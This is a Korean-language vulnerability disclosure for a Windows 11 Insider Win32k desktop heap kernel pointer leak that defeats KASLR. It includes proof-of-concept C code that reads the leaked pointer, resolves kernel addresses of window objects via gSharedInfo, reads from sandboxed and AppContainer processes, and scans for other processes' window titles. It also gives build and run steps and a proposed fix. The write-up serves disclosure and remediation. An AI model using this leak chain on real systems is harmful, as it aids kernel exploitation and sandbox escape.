CVE-2026-50416: Windows 11 KASLR 우회
Windows 11 Insider 빌드 10.0.28020.2149에서 Win32k 데스크톱 힙의 사용자 모드 매핑이 오프셋 0x100에 원시 커널 세션 풀 포인터를 노출했습니다.
읽기 자체는 거의 공격적으로 작을 정도입니다:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
테스트 세션에서 다음 값이 반환되었습니다:
0xffffc600dcc00040
이 값은 동일한 데스크톱의 프로세스 간에 동일하게 유지되었으며 재부팅 후 변경되었습니다. 다른 데스크톱에서 시작된 프로세스는 다른 데스크톱 힙을 가졌기 때문에 다른 값을 받았습니다. 이 단일 QWORD에서 PoC는 커널 데스크톱 힙 베이스를 복구한 다음 user32!gSharedInfo를 사용하여 활성 창 객체의 커널 주소를 도출했습니다.
동일한 읽기가 Low 무결성, AppContainer, 기능이 전혀 없는 LPAC 구성, 그리고 기능이 전혀 없는 Low 무결성 AppContainer 자식에서도 작동했습니다.
데스크톱 힙은 공유되어야 합니다. 커널 포인터는 공유되지 않습니다.
Win32k는 창, 메뉴, 클래스, 후크 및 관련 메타데이터와 같은 USER 객체를 데스크톱 힙에 저장합니다. 각 데스크톱에는 자체 힙이 있습니다. 해당 힙의 일부는 데스크톱과 연결된 프로세스에 매핑되어 사용자 모드가 모든 필드에 대해 커널에 요청하지 않고 공유 GUI 상태를 읽을 수 있게 합니다.
테스트된 x64 빌드에서 사용자 모드 매핑은 현재 스레드의 TEB 클라이언트 데이터를 통해 도달할 수 있습니다:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
오프셋은 빌드별로 다르지만 경로는 간단합니다:
GS:[0x30]
-> TEB
-> TEB + 0x800의 ClientInfo
-> ClientInfo[5]
-> 사용자 모드 데스크톱 힙 매핑
PoC는 반환된 주소에 대해 VirtualQuery를 호출하고 매핑된 영역과 보호를 기록합니다. 아직 잘못된 것은 없습니다. 읽기 전용 데스크톱 힙 매핑은 정상적인 Win32k 동작입니다.
문제는 256바이트 지점에서 시작됩니다.
메인 PoC는 매핑된 힙에서 하나의 QWORD를 읽습니다:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
이 값은 테스트된 시스템에서 커널 가상 주소에서 기대되는 기본 검사를 통과했습니다:
안정성 테스트는 STATIC, BUTTON, EDIT 창을 생성하고, 생성 전에 값을 읽고, 창이 존재하는 동안 다시 읽고, 창을 파괴한 후 세 번째로 읽습니다.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
세 번의 읽기 모두 동일한 값을 반환했습니다. 창 할당 활동은 값을 이동시키지 않았습니다. 이 동작은 수명이 짧은 객체 포인터보다는 데스크톱 힙 메타데이터의 필드와 일치합니다.
프로세스 간 속성도 마찬가지로 중요합니다. 동일한 데스크톱에 연결된 두 프로세스는 동일한 데스크톱 힙을 보고 있기 때문에 동일한 유출 값을 관찰합니다. 재부팅 후 KASLR은 세션에 새 주소를 제공합니다. 다른 데스크톱에 배치된 자식은 해당 데스크톱이 다른 힙을 소유하기 때문에 다른 포인터를 관찰합니다.
이는 유출에 유용한 정체성을 부여합니다:
동일 부팅 + 동일 데스크톱 -> 동일 포인터
동일 부팅 + 다른 데스크톱 -> 다른 포인터
새 부팅 -> 다른 포인터
테스트된 빌드에서 유출된 포인터는 PoC가 사용하는 커널 데스크톱 힙 베이스보다 0x40바이트 위에 있습니다:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
기록된 세션 값을 사용:
유출된 포인터 = 0xffffc600dcc00040
커널 데스크톱 힙 베이스 = 0xffffc600dcc00000
이 관계는 빌드별로 다릅니다. 테스트 중 사용된 빌드의 경우 다음 단계에 필요한 커널 측 앵커를 제공합니다.
하나의 포인터는 이미 유용합니다. 선택된 객체의 주소는 훨씬 더 유용합니다.
user32.dll은 gSharedInfo를 내보내며, 이는 USER 핸들 항목 목록과 각 항목의 크기를 노출합니다:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
HWND에는 USER 핸들 테이블에 대한 인덱스가 포함되어 있습니다. PoC는 핸들의 하위 16비트를 가져와 일치하는 항목으로 이동하고 거기에 저장된 데스크톱 힙 오프셋을 읽습니다.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
동일한 오프셋이 두 매핑 모두에서 객체를 지정합니다:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
따라서 전체 계산은 다음과 같습니다:
커널 데스크톱 힙 베이스 = desktop_heap[0x100] - 0x40
핸들 인덱스 = HWND & 0xffff
힙 오프셋 = aheList[핸들 인덱스].offset
커널 창 주소 = 커널 데스크톱 힙 베이스 + 힙 오프셋
PoC는 여섯 개의 창 클래스를 생성하고 각각에 대해 계산을 수행합니다:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOX모든 객체에 대해 HWND, 핸들 인덱스, 사용자 모드 객체 주소, 힙 오프셋 및 커널 주소를 출력합니다.
HWND
-> 하위 16비트 핸들 인덱스
-> gSharedInfo 핸들 항목
-> 데스크톱 힙 오프셋
-> 커널 데스크톱 힙 베이스 + 오프셋
-> 해당 창 객체의 커널 주소
이 부분이 공개를 느슨한 커널 포인터에서 테스트된 데스크톱 힙의 선택된 USER 객체에 대한 주소 오라클로 바꾸는 부분입니다.
데스크톱 힙은 공유 매핑을 통해 도착합니다. 무결성 수준과 AppContainer 제한은 각 프로세스에 대해 해당 매핑의 내용을 다시 쓰지 않습니다. 프로세스가 데스크톱 힙을 받으면 0x100의 QWORD도 함께 받습니다.
샌드박스 PoC는 여러 컨텍스트에서 자식을 시작하고 각 자식이 자체 TEB와 자체 데스크톱 힙 매핑에서 값을 읽게 합니다.
| 컨텍스트 | 구성 | 결과 |
|---|---|---|
| Medium 무결성 | 표준 사용자 프로세스 | 유출됨 |
| Low 무결성 | 토큰 무결성이 Low로 낮아짐 | 유출됨 |
| AppContainer | 요청된 기능 없음 | 유출됨 |
| LPAC 구성 | 모든 애플리케이션 패키지 옵트아웃 정책, 요청된 기능 없음 | 유출됨 |
| Low 무결성 AppContainer | Low IL + AppContainer, 요청된 기능 없음 | 유출됨 |
| 대체 데스크톱 | 새 데스크톱에 할당된 자식 | 다른 값이 유출됨 |
처음 다섯 자식은 기본 데스크톱에 연결되어 동일한 주소를 반환했습니다. 대체 데스크톱 자식은 다른 데스크톱 힙을 받았기 때문에 다른 주소를 반환했습니다.
자식 출력은 부모가 결과를 비교할 수 있도록 간결한 형식을 갖습니다:
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234
더 엄격한 헬퍼는 토큰 상태와 기능 수를 기록합니다:
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234
중요한 세부 사항은 자식이 특수 Win32k API를 호출할 수 있다는 것이 아닙니다. 그럴 필요가 없습니다. 매핑이 존재하면 유출은 일반적인 사용자 모드 메모리 읽기입니다.
별도의 헬퍼가 CreateWindow를 호출하지 않고 읽기를 수행합니다.
데스크톱 힙 포인터를 확인하고, desktop_heap[0x100]을 읽고, user32.dll을 명시적으로 로드하고, 매핑을 다시 확인한 다음에도 창을 생성하지 않습니다. 또 다른 렌더러 유사 자식은 user32.dll을 로드하고 동일한 읽기를 수행한 후 창을 생성하지 않고 종료합니다.
유용한 결과는 간단합니다:
유출된 QWORD를 읽기 전에 창 객체를 생성할 필요가 없습니다.
유출은 공격 프로세스가 생성한 창이 아니라 데스크톱 힙 매핑 자체에 속합니다.
supporting_proof_remote_trigger.c는 요청된 기능이 전혀 없는 Low 무결성 AppContainer 자식을 생성합니다. 자식은 소량의 작업만 수행합니다:
LoadLibraryA("user32.dll");
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
기록된 출력:
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated
이는 렌더러 유사 토큰 구성에서의 읽기를 보여줍니다. 그러한 프로세스에서 이미 네이티브 코드 실행을 제공하는 별도의 브라우저 메모리 손상 버그는 이 데스크톱 힙 포인터를 읽기 전에 추가 정보 공개가 필요하지 않습니다.
신뢰할 수 있는 포인터를 확보한 후 매핑된 영역을 스캔하여 다른 것이 무엇인지 확인했습니다.
스캐너는 실행당 동일한 정규 주소 및 정렬 검사를 통과하는 6~10개의 추가 고유 QWORD 값을 발견했습니다. 정확한 수는 데스크톱 활동에 따라 변경되었습니다. 오프셋 0x100은 안정적인 기본 유출이었지만 매핑에서 커널 주소 형태를 가진 유일한 값은 아니었습니다.
민감 데이터 헬퍼는 EnumWindows로 최상위 창을 열거하고, 소유 PID와 제목을 수집한 다음, 데스크톱 힙 매핑에서 동일한 제목을 UTF-16 문자열로 검색합니다.
기록된 실행에서 다른 프로세스에 속한 20개의 고유 제목을 찾았습니다. 예시에는 브라우저 탭, Discord, Explorer, Spotify 및 시스템 트레이 창이 포함되었습니다.
프로그램은 두 조건이 모두 참인 경우에만 제목을 출력합니다:
EnumWindows가 해당 제목과 테스트 프로세스와 다른 소유 PID를 가진 창을 보고합니다.이렇게 하면 메모리에서 발견된 임의의 인쇄 가능한 문자열에 의존하는 대신 출력을 쉽게 검증할 수 있습니다.
헬퍼는 또한 매핑에서 DWORD 값을 스캔합니다. 값은 다음 경우에만 계산됩니다:
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)가 성공합니다.EnumWindows로 찾은 창도 소유합니다.기록된 실행에서 605개의 일치하는 DWORD 발생을 찾았습니다. 이는 힙의 발생 횟수이지 605개의 고유 프로세스가 아닙니다. 동일한 PID가 두 번 이상 나타날 수 있습니다.
헬퍼는 ES_PASSWORD로 EDIT 컨트롤을 생성하고, 텍스트를 SecretPassword123으로 설정하고, 매핑된 영역에서 SecretP 접두사를 검색합니다. 테스트된 실행에서는 발견되지 않았습니다.
따라서 매핑은 제목, PID 발생 및 커널 형태 값을 노출했지만 테스트된 비밀번호 문자열은 거기에 나타나지 않았습니다.
Win32k 메모리 손상 버그의 경우 객체가 존재한다는 것을 아는 것은 커널 메모리에서 어디에 있는지 아는 것과 같지 않습니다.
공개 없이 공격자는 알 수 없는 데스크톱 힙 베이스와 알 수 없는 객체 주소를 처리해야 합니다. 공개를 통해 주소 측면은 다음과 같아집니다:
하나의 QWORD 읽기
0x40 빼기
대상 핸들 항목 읽기
해당 힙 오프셋 더하기
선택된 HWND에 대해 공격자는 이제 테스트된 빌드에서 해당 커널 데스크톱 힙 주소를 갖게 됩니다. 이는 다음에 도움이 될 수 있습니다:
유출은 주소 문제를 해결합니다. 힙 셰이핑, 객체 교체 및 메모리 손상 프리미티브는 익스플로잇의 별도 부분으로 남아 있습니다.
이 구분이 중요합니다. KASLR은 메모리 손상을 막지 않습니다. 신뢰할 수 있는 타게팅을 더 어렵게 만듭니다. 이 QWORD는 PoC가 사용하는 데스크톱 힙 영역에 대한 불확실성을 제거합니다.
Windows 11 Insider Build 10.0.28020.2149
표준 사용자
Medium 무결성 기준
kaslr_bypass_poc.c: 메인 유출 및 창 주소 해석 PoCkaslr_sandbox_proof.c: Medium IL, Low IL, AppContainer, LPAC 구성, Low IL AppContainer 및 대체 데스크톱 테스트supporting_proof_no_window.c: 창을 생성하지 않고 읽기supporting_proof_no_caps_lpac.c: 기능 없는 AppContainer 및 LPAC 구성supporting_proof_sensitive_data.c: 제목, PID 발생, 추가 포인터 스캔 및 비밀번호 필드 확인supporting_proof_exploitability.c: 여섯 개의 창 클래스 및 커널 주소 계산supporting_proof_remote_trigger.c: 렌더러 유사 Low IL AppContainer 자식compile.bat: 빌드 메뉴실행:
compile.bat
메뉴에서 대상을 선택합니다.
메인 PoC는 Visual Studio 개발자 명령 프롬프트에서 직접 컴파일할 수도 있습니다:
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib
재부팅 없이 메인 PoC를 두 번 실행:
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe
desktop_heap + 0x100의 포인터는 두 실행 모두에서 동일해야 합니다.
두 번째 터미널을 열고 동일한 데스크톱의 다른 프로세스에서 실행합니다. 값이 다시 일치해야 합니다.
재부팅하고 반복합니다. 값이 변경되어야 합니다.
kaslr_sandbox_proof.exe
테스트는 각 자식을 시작하고, 출력을 캡처하고, 유출된 값을 비교합니다. 기본 데스크톱의 자식은 동일한 값을 보고해야 합니다. 대체 데스크톱 자식은 다른 값을 보고해야 합니다.
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe
각 헬퍼는 전체 PoC의 출력을 읽지 않고 재현할 수 있도록 결과의 한 부분을 분리합니다.
사용자 모드 매핑에는 원시 커널 가상 주소가 포함되어서는 안 됩니다.
가장 작은 수정은 페이지가 사용자 모드에서 보이기 전에 데스크톱 힙 헤더 필드를 정리하는 것입니다. Windows는 이미 다른 데스크톱 힙 포인터 필드에 불투명한 0x6000000000 값을 사용하므로 사용자 모드가 여전히 필드를 필요로 하는 경우 동일한 스타일의 교체를 여기에 사용할 수 있습니다.
사용자 모드가 헤더 페이지를 필요로 하지 않으면 더 깔끔한 수정은 공유 매핑에서 해당 페이지를 노출하지 않는 것입니다.
회귀 테스트는 간단합니다: Medium IL, Low IL, AppContainer 및 LPAC 구성에서 프로세스를 생성하고, 데스크톱 힙을 매핑하고, 사용자에게 보이는 헤더에서 발견된 정규 커널 주소를 거부합니다.
전체 체인은 읽기 전용 매핑에서의 한 번의 일반적인 읽기로 시작됩니다:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
그 QWORD는 커널 데스크톱 힙을 식별합니다. gSharedInfo는 객체별 오프셋을 제공합니다. 함께 테스트된 빌드에서 사용자 모드 HWND를 해당 커널 주소로 바꿉니다.
여기에는 복잡한 트리거가 숨어 있지 않습니다. Windows는 데스크톱 힙을 사용자 모드가 읽을 수 있는 곳에 두고 공유한 부분 안에 하나의 커널 포인터를 남겼습니다.
하나의 QWORD로 충분했습니다.